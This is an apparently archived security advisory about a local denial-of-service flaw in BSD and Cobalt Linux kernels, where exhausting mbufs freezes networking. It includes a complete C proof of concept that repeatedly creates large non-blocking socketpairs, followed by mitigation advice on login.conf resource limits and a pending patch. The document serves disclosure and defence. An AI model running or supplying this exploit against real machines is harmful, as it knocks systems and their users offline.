COMMAND

    kernel

SYSTEMS AFFECTED

    FreeBSD 2.2.2,  2.2.6, 2.2.8,  3.2.x, 4.0  OpenBSD 2.3,  2.4, BSDI
    2.1, 3.1, 4.0, 4.01, Cobalt Linux (MIPS) - RedHat based

PROBLEM

    This was first posted to the  FreeBSD security list on the 9th  of
    August,    subsequently    discussed    on    freebsd-stable   and
    freebsd-hackers... no one  seems to care,  even though it  is able
    to lock  up 2.2.6,  2.2.8, and  3.2.x machines  consistantly.   On
    OpenBSD  2.4  -   GENERIC  kernel  &   OpenBSD  2.5-current   with
    NMBSCLUSTERS=8192:  The  kernel logs one  "/bsd: mb_map full"  and
    all processes trying to send something over the network get  stuck
    waiting in mbuf.  Locally the system continues to function.

    Rumours say that it affects NetBSD, though there's no confirmation
    Code follows:

    #include        <unistd.h>
    #include        <sys/socket.h>
    #include        <fcntl.h>

    #define         BUFFERSIZE      204800

    extern  int
    main(void)
    {
            int             p[2], i;
            char            crap[BUFFERSIZE];

            while (1)
            {
                    if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                            break;
                    i = BUFFERSIZE;
                    setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                    setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                    setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                    setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                    fcntl(p[0], F_SETFL, O_NONBLOCK);
                    fcntl(p[1], F_SETFL, O_NONBLOCK);
                    write(p[0], crap, BUFFERSIZE);
                    write(p[1], crap, BUFFERSIZE);
            }

            return(0);
    }

    Originally this was found by Sven Berkvens.

SOLUTION

    login.conf on *BSDs can be used to set resource limits for  users,
    CPUtime, memory  locked etc  etc...   Anyone that  is not  using a
    login.conf or  other type  of resource  restriction is  asking for
    punishment..

    This can be fixed with  login accounting until a real  patch comes
    along..   Frankly, you  can overload  ANY server,  not just  these
    OS's..   Everything has  its limit  which is  why you  should have
    some accounting in place.. as for the mbuf problem  specifically..
    The problem is so deep into  the kernel and a problem from  so far
    back  that  fixing  it  is  hard..  A  solution to this problem is
    currently being  discussed on  the freebsd  mailing lists,  it may
    end up in just  limiting the buffer size  that a user can  use and
    definitely limiting the amount  of mbufs per process..   Remember,
    login accounting, and raise your mbufs/maxusers!

    Actually, there is  currently a patch  from brian feldman  that is
    being tested and  will be added  shortly to the  -CURRENT tree for
    further  testing..  it  adds  a  new  login.conf  action  to limit
    sbsize..  to give you an idea.. the sbsize in the mbuf crash is  2
    mb..  which  is  huge..  you  can  limit to however many bytes you
    want..  if you  limited to say.. 640000..   there's no way  anyone
    could  crash  it  with  mbufs.   of  course,  if you are running a
    public access system, you  shuld ALWAYS have login.conf  setup, if
    not for  mbufs, to  protect the  maxproc and  openfiles limits  as
    that can be bad on the system too..  Once this login.conf addition
    is made this should all be over.